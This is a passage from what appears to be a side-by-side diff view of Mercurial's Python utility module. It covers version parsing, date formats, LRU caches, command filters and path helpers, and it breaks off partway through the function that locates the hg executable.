418 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
430 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
419 close_fds=closefds,
431 close_fds=closefds,
420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
432 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
421 stderr=subprocess.PIPE,
433 stderr=subprocess.PIPE,
422 universal_newlines=newlines,
434 universal_newlines=newlines,
423 env=env)
435 env=env)
424 return p.stdin, p.stdout, p.stderr, p
436 return p.stdin, p.stdout, p.stderr, p
425
437
426 def version():
438 def version():
427 """Return version information if available."""
439 """Return version information if available."""
428 try:
440 try:
429 from . import __version__
441 from . import __version__
430 return __version__.version
442 return __version__.version
431 except ImportError:
443 except ImportError:
432 return 'unknown'
444 return 'unknown'
433
445
434 def versiontuple(v=None, n=4):
446 def versiontuple(v=None, n=4):
435 """Parses a Mercurial version string into an N-tuple.
447 """Parses a Mercurial version string into an N-tuple.
436
448
437 The version string to be parsed is specified with the ``v`` argument.
449 The version string to be parsed is specified with the ``v`` argument.
438 If it isn't defined, the current Mercurial version string will be parsed.
450 If it isn't defined, the current Mercurial version string will be parsed.
439
451
440 ``n`` can be 2, 3, or 4. Here is how some version strings map to
452 ``n`` can be 2, 3, or 4. Here is how some version strings map to
441 returned values:
453 returned values:
442
454
443 >>> v = '3.6.1+190-df9b73d2d444'
455 >>> v = '3.6.1+190-df9b73d2d444'
444 >>> versiontuple(v, 2)
456 >>> versiontuple(v, 2)
445 (3, 6)
457 (3, 6)
446 >>> versiontuple(v, 3)
458 >>> versiontuple(v, 3)
447 (3, 6, 1)
459 (3, 6, 1)
448 >>> versiontuple(v, 4)
460 >>> versiontuple(v, 4)
449 (3, 6, 1, '190-df9b73d2d444')
461 (3, 6, 1, '190-df9b73d2d444')
450
462
451 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
463 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
452 (3, 6, 1, '190-df9b73d2d444+20151118')
464 (3, 6, 1, '190-df9b73d2d444+20151118')
453
465
454 >>> v = '3.6'
466 >>> v = '3.6'
455 >>> versiontuple(v, 2)
467 >>> versiontuple(v, 2)
456 (3, 6)
468 (3, 6)
457 >>> versiontuple(v, 3)
469 >>> versiontuple(v, 3)
458 (3, 6, None)
470 (3, 6, None)
459 >>> versiontuple(v, 4)
471 >>> versiontuple(v, 4)
460 (3, 6, None, None)
472 (3, 6, None, None)
461
473
462 >>> v = '3.9-rc'
474 >>> v = '3.9-rc'
463 >>> versiontuple(v, 2)
475 >>> versiontuple(v, 2)
464 (3, 9)
476 (3, 9)
465 >>> versiontuple(v, 3)
477 >>> versiontuple(v, 3)
466 (3, 9, None)
478 (3, 9, None)
467 >>> versiontuple(v, 4)
479 >>> versiontuple(v, 4)
468 (3, 9, None, 'rc')
480 (3, 9, None, 'rc')
469
481
470 >>> v = '3.9-rc+2-02a8fea4289b'
482 >>> v = '3.9-rc+2-02a8fea4289b'
471 >>> versiontuple(v, 2)
483 >>> versiontuple(v, 2)
472 (3, 9)
484 (3, 9)
473 >>> versiontuple(v, 3)
485 >>> versiontuple(v, 3)
474 (3, 9, None)
486 (3, 9, None)
475 >>> versiontuple(v, 4)
487 >>> versiontuple(v, 4)
476 (3, 9, None, 'rc+2-02a8fea4289b')
488 (3, 9, None, 'rc+2-02a8fea4289b')
477 """
489 """
478 if not v:
490 if not v:
479 v = version()
491 v = version()
480 parts = remod.split('[\+-]', v, 1)
492 parts = remod.split('[\+-]', v, 1)
481 if len(parts) == 1:
493 if len(parts) == 1:
482 vparts, extra = parts[0], None
494 vparts, extra = parts[0], None
483 else:
495 else:
484 vparts, extra = parts
496 vparts, extra = parts
485
497
486 vints = []
498 vints = []
487 for i in vparts.split('.'):
499 for i in vparts.split('.'):
488 try:
500 try:
489 vints.append(int(i))
501 vints.append(int(i))
490 except ValueError:
502 except ValueError:
491 break
503 break
492 # (3, 6) -> (3, 6, None)
504 # (3, 6) -> (3, 6, None)
493 while len(vints) < 3:
505 while len(vints) < 3:
494 vints.append(None)
506 vints.append(None)
495
507
496 if n == 2:
508 if n == 2:
497 return (vints[0], vints[1])
509 return (vints[0], vints[1])
498 if n == 3:
510 if n == 3:
499 return (vints[0], vints[1], vints[2])
511 return (vints[0], vints[1], vints[2])
500 if n == 4:
512 if n == 4:
501 return (vints[0], vints[1], vints[2], extra)
513 return (vints[0], vints[1], vints[2], extra)
502
514
503 # used by parsedate
515 # used by parsedate
504 defaultdateformats = (
516 defaultdateformats = (
505 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
517 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
506 '%Y-%m-%dT%H:%M', # without seconds
518 '%Y-%m-%dT%H:%M', # without seconds
507 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
519 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
508 '%Y-%m-%dT%H%M', # without seconds
520 '%Y-%m-%dT%H%M', # without seconds
509 '%Y-%m-%d %H:%M:%S', # our common legal variant
521 '%Y-%m-%d %H:%M:%S', # our common legal variant
510 '%Y-%m-%d %H:%M', # without seconds
522 '%Y-%m-%d %H:%M', # without seconds
511 '%Y-%m-%d %H%M%S', # without :
523 '%Y-%m-%d %H%M%S', # without :
512 '%Y-%m-%d %H%M', # without seconds
524 '%Y-%m-%d %H%M', # without seconds
513 '%Y-%m-%d %I:%M:%S%p',
525 '%Y-%m-%d %I:%M:%S%p',
514 '%Y-%m-%d %H:%M',
526 '%Y-%m-%d %H:%M',
515 '%Y-%m-%d %I:%M%p',
527 '%Y-%m-%d %I:%M%p',
516 '%Y-%m-%d',
528 '%Y-%m-%d',
517 '%m-%d',
529 '%m-%d',
518 '%m/%d',
530 '%m/%d',
519 '%m/%d/%y',
531 '%m/%d/%y',
520 '%m/%d/%Y',
532 '%m/%d/%Y',
521 '%a %b %d %H:%M:%S %Y',
533 '%a %b %d %H:%M:%S %Y',
522 '%a %b %d %I:%M:%S%p %Y',
534 '%a %b %d %I:%M:%S%p %Y',
523 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
535 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
524 '%b %d %H:%M:%S %Y',
536 '%b %d %H:%M:%S %Y',
525 '%b %d %I:%M:%S%p %Y',
537 '%b %d %I:%M:%S%p %Y',
526 '%b %d %H:%M:%S',
538 '%b %d %H:%M:%S',
527 '%b %d %I:%M:%S%p',
539 '%b %d %I:%M:%S%p',
528 '%b %d %H:%M',
540 '%b %d %H:%M',
529 '%b %d %I:%M%p',
541 '%b %d %I:%M%p',
530 '%b %d %Y',
542 '%b %d %Y',
531 '%b %d',
543 '%b %d',
532 '%H:%M:%S',
544 '%H:%M:%S',
533 '%I:%M:%S%p',
545 '%I:%M:%S%p',
534 '%H:%M',
546 '%H:%M',
535 '%I:%M%p',
547 '%I:%M%p',
536 )
548 )
537
549
538 extendeddateformats = defaultdateformats + (
550 extendeddateformats = defaultdateformats + (
539 "%Y",
551 "%Y",
540 "%Y-%m",
552 "%Y-%m",
541 "%b",
553 "%b",
542 "%b %Y",
554 "%b %Y",
543 )
555 )
544
556
545 def cachefunc(func):
557 def cachefunc(func):
546 '''cache the result of function calls'''
558 '''cache the result of function calls'''
547 # XXX doesn't handle keywords args
559 # XXX doesn't handle keywords args
548 if func.__code__.co_argcount == 0:
560 if func.__code__.co_argcount == 0:
549 cache = []
561 cache = []
550 def f():
562 def f():
551 if len(cache) == 0:
563 if len(cache) == 0:
552 cache.append(func())
564 cache.append(func())
553 return cache[0]
565 return cache[0]
554 return f
566 return f
555 cache = {}
567 cache = {}
556 if func.__code__.co_argcount == 1:
568 if func.__code__.co_argcount == 1:
557 # we gain a small amount of time because
569 # we gain a small amount of time because
558 # we don't need to pack/unpack the list
570 # we don't need to pack/unpack the list
559 def f(arg):
571 def f(arg):
560 if arg not in cache:
572 if arg not in cache:
561 cache[arg] = func(arg)
573 cache[arg] = func(arg)
562 return cache[arg]
574 return cache[arg]
563 else:
575 else:
564 def f(*args):
576 def f(*args):
565 if args not in cache:
577 if args not in cache:
566 cache[args] = func(*args)
578 cache[args] = func(*args)
567 return cache[args]
579 return cache[args]
568
580
569 return f
581 return f
570
582
571 class sortdict(collections.OrderedDict):
583 class sortdict(collections.OrderedDict):
572 '''a simple sorted dictionary
584 '''a simple sorted dictionary
573
585
574 >>> d1 = sortdict([('a', 0), ('b', 1)])
586 >>> d1 = sortdict([('a', 0), ('b', 1)])
575 >>> d2 = d1.copy()
587 >>> d2 = d1.copy()
576 >>> d2
588 >>> d2
577 sortdict([('a', 0), ('b', 1)])
589 sortdict([('a', 0), ('b', 1)])
578 >>> d2.update([('a', 2)])
590 >>> d2.update([('a', 2)])
579 >>> d2.keys() # should still be in last-set order
591 >>> d2.keys() # should still be in last-set order
580 ['b', 'a']
592 ['b', 'a']
581 '''
593 '''
582
594
583 def __setitem__(self, key, value):
595 def __setitem__(self, key, value):
584 if key in self:
596 if key in self:
585 del self[key]
597 del self[key]
586 super(sortdict, self).__setitem__(key, value)
598 super(sortdict, self).__setitem__(key, value)
587
599
588 if pycompat.ispypy:
600 if pycompat.ispypy:
589 # __setitem__() isn't called as of PyPy 5.8.0
601 # __setitem__() isn't called as of PyPy 5.8.0
590 def update(self, src):
602 def update(self, src):
591 if isinstance(src, dict):
603 if isinstance(src, dict):
592 src = src.iteritems()
604 src = src.iteritems()
593 for k, v in src:
605 for k, v in src:
594 self[k] = v
606 self[k] = v
595
607
596 class transactional(object):
608 class transactional(object):
597 """Base class for making a transactional type into a context manager."""
609 """Base class for making a transactional type into a context manager."""
598 __metaclass__ = abc.ABCMeta
610 __metaclass__ = abc.ABCMeta
599
611
600 @abc.abstractmethod
612 @abc.abstractmethod
601 def close(self):
613 def close(self):
602 """Successfully closes the transaction."""
614 """Successfully closes the transaction."""
603
615
604 @abc.abstractmethod
616 @abc.abstractmethod
605 def release(self):
617 def release(self):
606 """Marks the end of the transaction.
618 """Marks the end of the transaction.
607
619
608 If the transaction has not been closed, it will be aborted.
620 If the transaction has not been closed, it will be aborted.
609 """
621 """
610
622
611 def __enter__(self):
623 def __enter__(self):
612 return self
624 return self
613
625
614 def __exit__(self, exc_type, exc_val, exc_tb):
626 def __exit__(self, exc_type, exc_val, exc_tb):
615 try:
627 try:
616 if exc_type is None:
628 if exc_type is None:
617 self.close()
629 self.close()
618 finally:
630 finally:
619 self.release()
631 self.release()
620
632
621 @contextlib.contextmanager
633 @contextlib.contextmanager
622 def acceptintervention(tr=None):
634 def acceptintervention(tr=None):
623 """A context manager that closes the transaction on InterventionRequired
635 """A context manager that closes the transaction on InterventionRequired
624
636
625 If no transaction was provided, this simply runs the body and returns
637 If no transaction was provided, this simply runs the body and returns
626 """
638 """
627 if not tr:
639 if not tr:
628 yield
640 yield
629 return
641 return
630 try:
642 try:
631 yield
643 yield
632 tr.close()
644 tr.close()
633 except error.InterventionRequired:
645 except error.InterventionRequired:
634 tr.close()
646 tr.close()
635 raise
647 raise
636 finally:
648 finally:
637 tr.release()
649 tr.release()
638
650
639 @contextlib.contextmanager
651 @contextlib.contextmanager
640 def nullcontextmanager():
652 def nullcontextmanager():
641 yield
653 yield
642
654
643 class _lrucachenode(object):
655 class _lrucachenode(object):
644 """A node in a doubly linked list.
656 """A node in a doubly linked list.
645
657
646 Holds a reference to nodes on either side as well as a key-value
658 Holds a reference to nodes on either side as well as a key-value
647 pair for the dictionary entry.
659 pair for the dictionary entry.
648 """
660 """
649 __slots__ = (u'next', u'prev', u'key', u'value')
661 __slots__ = (u'next', u'prev', u'key', u'value')
650
662
651 def __init__(self):
663 def __init__(self):
652 self.next = None
664 self.next = None
653 self.prev = None
665 self.prev = None
654
666
655 self.key = _notset
667 self.key = _notset
656 self.value = None
668 self.value = None
657
669
658 def markempty(self):
670 def markempty(self):
659 """Mark the node as emptied."""
671 """Mark the node as emptied."""
660 self.key = _notset
672 self.key = _notset
661
673
662 class lrucachedict(object):
674 class lrucachedict(object):
663 """Dict that caches most recent accesses and sets.
675 """Dict that caches most recent accesses and sets.
664
676
665 The dict consists of an actual backing dict - indexed by original
677 The dict consists of an actual backing dict - indexed by original
666 key - and a doubly linked circular list defining the order of entries in
678 key - and a doubly linked circular list defining the order of entries in
667 the cache.
679 the cache.
668
680
669 The head node is the newest entry in the cache. If the cache is full,
681 The head node is the newest entry in the cache. If the cache is full,
670 we recycle head.prev and make it the new head. Cache accesses result in
682 we recycle head.prev and make it the new head. Cache accesses result in
671 the node being moved to before the existing head and being marked as the
683 the node being moved to before the existing head and being marked as the
672 new head node.
684 new head node.
673 """
685 """
674 def __init__(self, max):
686 def __init__(self, max):
675 self._cache = {}
687 self._cache = {}
676
688
677 self._head = head = _lrucachenode()
689 self._head = head = _lrucachenode()
678 head.prev = head
690 head.prev = head
679 head.next = head
691 head.next = head
680 self._size = 1
692 self._size = 1
681 self._capacity = max
693 self._capacity = max
682
694
683 def __len__(self):
695 def __len__(self):
684 return len(self._cache)
696 return len(self._cache)
685
697
686 def __contains__(self, k):
698 def __contains__(self, k):
687 return k in self._cache
699 return k in self._cache
688
700
689 def __iter__(self):
701 def __iter__(self):
690 # We don't have to iterate in cache order, but why not.
702 # We don't have to iterate in cache order, but why not.
691 n = self._head
703 n = self._head
692 for i in range(len(self._cache)):
704 for i in range(len(self._cache)):
693 yield n.key
705 yield n.key
694 n = n.next
706 n = n.next
695
707
696 def __getitem__(self, k):
708 def __getitem__(self, k):
697 node = self._cache[k]
709 node = self._cache[k]
698 self._movetohead(node)
710 self._movetohead(node)
699 return node.value
711 return node.value
700
712
701 def __setitem__(self, k, v):
713 def __setitem__(self, k, v):
702 node = self._cache.get(k)
714 node = self._cache.get(k)
703 # Replace existing value and mark as newest.
715 # Replace existing value and mark as newest.
704 if node is not None:
716 if node is not None:
705 node.value = v
717 node.value = v
706 self._movetohead(node)
718 self._movetohead(node)
707 return
719 return
708
720
709 if self._size < self._capacity:
721 if self._size < self._capacity:
710 node = self._addcapacity()
722 node = self._addcapacity()
711 else:
723 else:
712 # Grab the last/oldest item.
724 # Grab the last/oldest item.
713 node = self._head.prev
725 node = self._head.prev
714
726
715 # At capacity. Kill the old entry.
727 # At capacity. Kill the old entry.
716 if node.key is not _notset:
728 if node.key is not _notset:
717 del self._cache[node.key]
729 del self._cache[node.key]
718
730
719 node.key = k
731 node.key = k
720 node.value = v
732 node.value = v
721 self._cache[k] = node
733 self._cache[k] = node
722 # And mark it as newest entry. No need to adjust order since it
734 # And mark it as newest entry. No need to adjust order since it
723 # is already self._head.prev.
735 # is already self._head.prev.
724 self._head = node
736 self._head = node
725
737
726 def __delitem__(self, k):
738 def __delitem__(self, k):
727 node = self._cache.pop(k)
739 node = self._cache.pop(k)
728 node.markempty()
740 node.markempty()
729
741
730 # Temporarily mark as newest item before re-adjusting head to make
742 # Temporarily mark as newest item before re-adjusting head to make
731 # this node the oldest item.
743 # this node the oldest item.
732 self._movetohead(node)
744 self._movetohead(node)
733 self._head = node.next
745 self._head = node.next
734
746
735 # Additional dict methods.
747 # Additional dict methods.
736
748
737 def get(self, k, default=None):
749 def get(self, k, default=None):
738 try:
750 try:
739 return self._cache[k].value
751 return self._cache[k].value
740 except KeyError:
752 except KeyError:
741 return default
753 return default
742
754
743 def clear(self):
755 def clear(self):
744 n = self._head
756 n = self._head
745 while n.key is not _notset:
757 while n.key is not _notset:
746 n.markempty()
758 n.markempty()
747 n = n.next
759 n = n.next
748
760
749 self._cache.clear()
761 self._cache.clear()
750
762
751 def copy(self):
763 def copy(self):
752 result = lrucachedict(self._capacity)
764 result = lrucachedict(self._capacity)
753 n = self._head.prev
765 n = self._head.prev
754 # Iterate in oldest-to-newest order, so the copy has the right ordering
766 # Iterate in oldest-to-newest order, so the copy has the right ordering
755 for i in range(len(self._cache)):
767 for i in range(len(self._cache)):
756 result[n.key] = n.value
768 result[n.key] = n.value
757 n = n.prev
769 n = n.prev
758 return result
770 return result
759
771
760 def _movetohead(self, node):
772 def _movetohead(self, node):
761 """Mark a node as the newest, making it the new head.
773 """Mark a node as the newest, making it the new head.
762
774
763 When a node is accessed, it becomes the freshest entry in the LRU
775 When a node is accessed, it becomes the freshest entry in the LRU
764 list, which is denoted by self._head.
776 list, which is denoted by self._head.
765
777
766 Visually, let's make ``N`` the new head node (* denotes head):
778 Visually, let's make ``N`` the new head node (* denotes head):
767
779
768 previous/oldest <-> head <-> next/next newest
780 previous/oldest <-> head <-> next/next newest
769
781
770 ----<->--- A* ---<->-----
782 ----<->--- A* ---<->-----
771 | |
783 | |
772 E <-> D <-> N <-> C <-> B
784 E <-> D <-> N <-> C <-> B
773
785
774 To:
786 To:
775
787
776 ----<->--- N* ---<->-----
788 ----<->--- N* ---<->-----
777 | |
789 | |
778 E <-> D <-> C <-> B <-> A
790 E <-> D <-> C <-> B <-> A
779
791
780 This requires the following moves:
792 This requires the following moves:
781
793
782 C.next = D (node.prev.next = node.next)
794 C.next = D (node.prev.next = node.next)
783 D.prev = C (node.next.prev = node.prev)
795 D.prev = C (node.next.prev = node.prev)
784 E.next = N (head.prev.next = node)
796 E.next = N (head.prev.next = node)
785 N.prev = E (node.prev = head.prev)
797 N.prev = E (node.prev = head.prev)
786 N.next = A (node.next = head)
798 N.next = A (node.next = head)
787 A.prev = N (head.prev = node)
799 A.prev = N (head.prev = node)
788 """
800 """
789 head = self._head
801 head = self._head
790 # C.next = D
802 # C.next = D
791 node.prev.next = node.next
803 node.prev.next = node.next
792 # D.prev = C
804 # D.prev = C
793 node.next.prev = node.prev
805 node.next.prev = node.prev
794 # N.prev = E
806 # N.prev = E
795 node.prev = head.prev
807 node.prev = head.prev
796 # N.next = A
808 # N.next = A
797 # It is tempting to do just "head" here, however if node is
809 # It is tempting to do just "head" here, however if node is
798 # adjacent to head, this will do bad things.
810 # adjacent to head, this will do bad things.
799 node.next = head.prev.next
811 node.next = head.prev.next
800 # E.next = N
812 # E.next = N
801 node.next.prev = node
813 node.next.prev = node
802 # A.prev = N
814 # A.prev = N
803 node.prev.next = node
815 node.prev.next = node
804
816
805 self._head = node
817 self._head = node
806
818
807 def _addcapacity(self):
819 def _addcapacity(self):
808 """Add a node to the circular linked list.
820 """Add a node to the circular linked list.
809
821
810 The new node is inserted before the head node.
822 The new node is inserted before the head node.
811 """
823 """
812 head = self._head
824 head = self._head
813 node = _lrucachenode()
825 node = _lrucachenode()
814 head.prev.next = node
826 head.prev.next = node
815 node.prev = head.prev
827 node.prev = head.prev
816 node.next = head
828 node.next = head
817 head.prev = node
829 head.prev = node
818 self._size += 1
830 self._size += 1
819 return node
831 return node
820
832
821 def lrucachefunc(func):
833 def lrucachefunc(func):
822 '''cache most recent results of function calls'''
834 '''cache most recent results of function calls'''
823 cache = {}
835 cache = {}
824 order = collections.deque()
836 order = collections.deque()
825 if func.__code__.co_argcount == 1:
837 if func.__code__.co_argcount == 1:
826 def f(arg):
838 def f(arg):
827 if arg not in cache:
839 if arg not in cache:
828 if len(cache) > 20:
840 if len(cache) > 20:
829 del cache[order.popleft()]
841 del cache[order.popleft()]
830 cache[arg] = func(arg)
842 cache[arg] = func(arg)
831 else:
843 else:
832 order.remove(arg)
844 order.remove(arg)
833 order.append(arg)
845 order.append(arg)
834 return cache[arg]
846 return cache[arg]
835 else:
847 else:
836 def f(*args):
848 def f(*args):
837 if args not in cache:
849 if args not in cache:
838 if len(cache) > 20:
850 if len(cache) > 20:
839 del cache[order.popleft()]
851 del cache[order.popleft()]
840 cache[args] = func(*args)
852 cache[args] = func(*args)
841 else:
853 else:
842 order.remove(args)
854 order.remove(args)
843 order.append(args)
855 order.append(args)
844 return cache[args]
856 return cache[args]
845
857
846 return f
858 return f
847
859
848 class propertycache(object):
860 class propertycache(object):
849 def __init__(self, func):
861 def __init__(self, func):
850 self.func = func
862 self.func = func
851 self.name = func.__name__
863 self.name = func.__name__
852 def __get__(self, obj, type=None):
864 def __get__(self, obj, type=None):
853 result = self.func(obj)
865 result = self.func(obj)
854 self.cachevalue(obj, result)
866 self.cachevalue(obj, result)
855 return result
867 return result
856
868
857 def cachevalue(self, obj, value):
869 def cachevalue(self, obj, value):
858 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
870 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
859 obj.__dict__[self.name] = value
871 obj.__dict__[self.name] = value
860
872
861 def pipefilter(s, cmd):
873 def pipefilter(s, cmd):
862 '''filter string S through command CMD, returning its output'''
874 '''filter string S through command CMD, returning its output'''
863 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
875 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
864 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
876 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
865 pout, perr = p.communicate(s)
877 pout, perr = p.communicate(s)
866 return pout
878 return pout
867
879
868 def tempfilter(s, cmd):
880 def tempfilter(s, cmd):
869 '''filter string S through a pair of temporary files with CMD.
881 '''filter string S through a pair of temporary files with CMD.
870 CMD is used as a template to create the real command to be run,
882 CMD is used as a template to create the real command to be run,
871 with the strings INFILE and OUTFILE replaced by the real names of
883 with the strings INFILE and OUTFILE replaced by the real names of
872 the temporary files generated.'''
884 the temporary files generated.'''
873 inname, outname = None, None
885 inname, outname = None, None
874 try:
886 try:
875 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
887 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
876 fp = os.fdopen(infd, pycompat.sysstr('wb'))
888 fp = os.fdopen(infd, pycompat.sysstr('wb'))
877 fp.write(s)
889 fp.write(s)
878 fp.close()
890 fp.close()
879 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
891 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
880 os.close(outfd)
892 os.close(outfd)
881 cmd = cmd.replace('INFILE', inname)
893 cmd = cmd.replace('INFILE', inname)
882 cmd = cmd.replace('OUTFILE', outname)
894 cmd = cmd.replace('OUTFILE', outname)
883 code = os.system(cmd)
895 code = os.system(cmd)
884 if pycompat.sysplatform == 'OpenVMS' and code & 1:
896 if pycompat.sysplatform == 'OpenVMS' and code & 1:
885 code = 0
897 code = 0
886 if code:
898 if code:
887 raise Abort(_("command '%s' failed: %s") %
899 raise Abort(_("command '%s' failed: %s") %
888 (cmd, explainexit(code)))
900 (cmd, explainexit(code)))
889 return readfile(outname)
901 return readfile(outname)
890 finally:
902 finally:
891 try:
903 try:
892 if inname:
904 if inname:
893 os.unlink(inname)
905 os.unlink(inname)
894 except OSError:
906 except OSError:
895 pass
907 pass
896 try:
908 try:
897 if outname:
909 if outname:
898 os.unlink(outname)
910 os.unlink(outname)
899 except OSError:
911 except OSError:
900 pass
912 pass
901
913
902 filtertable = {
914 filtertable = {
903 'tempfile:': tempfilter,
915 'tempfile:': tempfilter,
904 'pipe:': pipefilter,
916 'pipe:': pipefilter,
905 }
917 }
906
918
907 def filter(s, cmd):
919 def filter(s, cmd):
908 "filter a string through a command that transforms its input to its output"
920 "filter a string through a command that transforms its input to its output"
909 for name, fn in filtertable.iteritems():
921 for name, fn in filtertable.iteritems():
910 if cmd.startswith(name):
922 if cmd.startswith(name):
911 return fn(s, cmd[len(name):].lstrip())
923 return fn(s, cmd[len(name):].lstrip())
912 return pipefilter(s, cmd)
924 return pipefilter(s, cmd)
913
925
914 def binary(s):
926 def binary(s):
915 """return true if a string is binary data"""
927 """return true if a string is binary data"""
916 return bool(s and '\0' in s)
928 return bool(s and '\0' in s)
917
929
918 def increasingchunks(source, min=1024, max=65536):
930 def increasingchunks(source, min=1024, max=65536):
919 '''return no less than min bytes per chunk while data remains,
931 '''return no less than min bytes per chunk while data remains,
920 doubling min after each chunk until it reaches max'''
932 doubling min after each chunk until it reaches max'''
921 def log2(x):
933 def log2(x):
922 if not x:
934 if not x:
923 return 0
935 return 0
924 i = 0
936 i = 0
925 while x:
937 while x:
926 x >>= 1
938 x >>= 1
927 i += 1
939 i += 1
928 return i - 1
940 return i - 1
929
941
930 buf = []
942 buf = []
931 blen = 0
943 blen = 0
932 for chunk in source:
944 for chunk in source:
933 buf.append(chunk)
945 buf.append(chunk)
934 blen += len(chunk)
946 blen += len(chunk)
935 if blen >= min:
947 if blen >= min:
936 if min < max:
948 if min < max:
937 min = min << 1
949 min = min << 1
938 nmin = 1 << log2(blen)
950 nmin = 1 << log2(blen)
939 if nmin > min:
951 if nmin > min:
940 min = nmin
952 min = nmin
941 if min > max:
953 if min > max:
942 min = max
954 min = max
943 yield ''.join(buf)
955 yield ''.join(buf)
944 blen = 0
956 blen = 0
945 buf = []
957 buf = []
946 if buf:
958 if buf:
947 yield ''.join(buf)
959 yield ''.join(buf)
948
960
949 Abort = error.Abort
961 Abort = error.Abort
950
962
951 def always(fn):
963 def always(fn):
952 return True
964 return True
953
965
954 def never(fn):
966 def never(fn):
955 return False
967 return False
956
968
957 def nogc(func):
969 def nogc(func):
958 """disable garbage collector
970 """disable garbage collector
959
971
960 Python's garbage collector triggers a GC each time a certain number of
972 Python's garbage collector triggers a GC each time a certain number of
961 container objects (the number being defined by gc.get_threshold()) are
973 container objects (the number being defined by gc.get_threshold()) are
962 allocated even when marked not to be tracked by the collector. Tracking has
974 allocated even when marked not to be tracked by the collector. Tracking has
963 no effect on when GCs are triggered, only on what objects the GC looks
975 no effect on when GCs are triggered, only on what objects the GC looks
964 into. As a workaround, disable GC while building complex (huge)
976 into. As a workaround, disable GC while building complex (huge)
965 containers.
977 containers.
966
978
967 This garbage collector issue have been fixed in 2.7. But it still affect
979 This garbage collector issue have been fixed in 2.7. But it still affect
968 CPython's performance.
980 CPython's performance.
969 """
981 """
970 def wrapper(*args, **kwargs):
982 def wrapper(*args, **kwargs):
971 gcenabled = gc.isenabled()
983 gcenabled = gc.isenabled()
972 gc.disable()
984 gc.disable()
973 try:
985 try:
974 return func(*args, **kwargs)
986 return func(*args, **kwargs)
975 finally:
987 finally:
976 if gcenabled:
988 if gcenabled:
977 gc.enable()
989 gc.enable()
978 return wrapper
990 return wrapper
979
991
980 if pycompat.ispypy:
992 if pycompat.ispypy:
981 # PyPy runs slower with gc disabled
993 # PyPy runs slower with gc disabled
982 nogc = lambda x: x
994 nogc = lambda x: x
983
995
984 def pathto(root, n1, n2):
996 def pathto(root, n1, n2):
985 '''return the relative path from one place to another.
997 '''return the relative path from one place to another.
986 root should use os.sep to separate directories
998 root should use os.sep to separate directories
987 n1 should use os.sep to separate directories
999 n1 should use os.sep to separate directories
988 n2 should use "/" to separate directories
1000 n2 should use "/" to separate directories
989 returns an os.sep-separated path.
1001 returns an os.sep-separated path.
990
1002
991 If n1 is a relative path, it's assumed it's
1003 If n1 is a relative path, it's assumed it's
992 relative to root.
1004 relative to root.
993 n2 should always be relative to root.
1005 n2 should always be relative to root.
994 '''
1006 '''
995 if not n1:
1007 if not n1:
996 return localpath(n2)
1008 return localpath(n2)
997 if os.path.isabs(n1):
1009 if os.path.isabs(n1):
998 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1010 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
999 return os.path.join(root, localpath(n2))
1011 return os.path.join(root, localpath(n2))
1000 n2 = '/'.join((pconvert(root), n2))
1012 n2 = '/'.join((pconvert(root), n2))
1001 a, b = splitpath(n1), n2.split('/')
1013 a, b = splitpath(n1), n2.split('/')
1002 a.reverse()
1014 a.reverse()
1003 b.reverse()
1015 b.reverse()
1004 while a and b and a[-1] == b[-1]:
1016 while a and b and a[-1] == b[-1]:
1005 a.pop()
1017 a.pop()
1006 b.pop()
1018 b.pop()
1007 b.reverse()
1019 b.reverse()
1008 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1020 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1009
1021
1010 def mainfrozen():
1022 def mainfrozen():
1011 """return True if we are a frozen executable.
1023 """return True if we are a frozen executable.
1012
1024
1013 The code supports py2exe (most common, Windows only) and tools/freeze
1025 The code supports py2exe (most common, Windows only) and tools/freeze
1014 (portable, not much used).
1026 (portable, not much used).
1015 """
1027 """
1016 return (safehasattr(sys, "frozen") or # new py2exe
1028 return (safehasattr(sys, "frozen") or # new py2exe
1017 safehasattr(sys, "importers") or # old py2exe
1029 safehasattr(sys, "importers") or # old py2exe
1018 imp.is_frozen(u"__main__")) # tools/freeze
1030 imp.is_frozen(u"__main__")) # tools/freeze
1019
1031
1020 # the location of data files matching the source code
1032 # the location of data files matching the source code
1021 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1033 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1022 # executable version (py2exe) doesn't support __file__
1034 # executable version (py2exe) doesn't support __file__
1023 datapath = os.path.dirname(pycompat.sysexecutable)
1035 datapath = os.path.dirname(pycompat.sysexecutable)
1024 else:
1036 else:
1025 datapath = os.path.dirname(pycompat.fsencode(__file__))
1037 datapath = os.path.dirname(pycompat.fsencode(__file__))
1026
1038
1027 i18n.setdatapath(datapath)
1039 i18n.setdatapath(datapath)
1028
1040
1029 _hgexecutable = None
1041 _hgexecutable = None
1030
1042
1031 def hgexecutable():
1043 def hgexecutable():
1032 """return location of the 'hg' executable.
1044 """return location of the 'hg' executable.
1033
1045
1034 Defaults to $HG or 'hg' in the search path.
1046 Defaults to $HG or 'hg' in the search path.
1035 """
1047 """
1036 if _hgexecutable is None:
1048 if _hgexecutable is None:
1037 hg = encoding.environ.get('HG')
1049 hg = encoding.environ.get('HG')
1038 mainmod = sys.modules[pycompat.sysstr('__main__')]
1050 mainmod = sys.modules[pycompat.sysstr('__main__')]
1039 if hg:
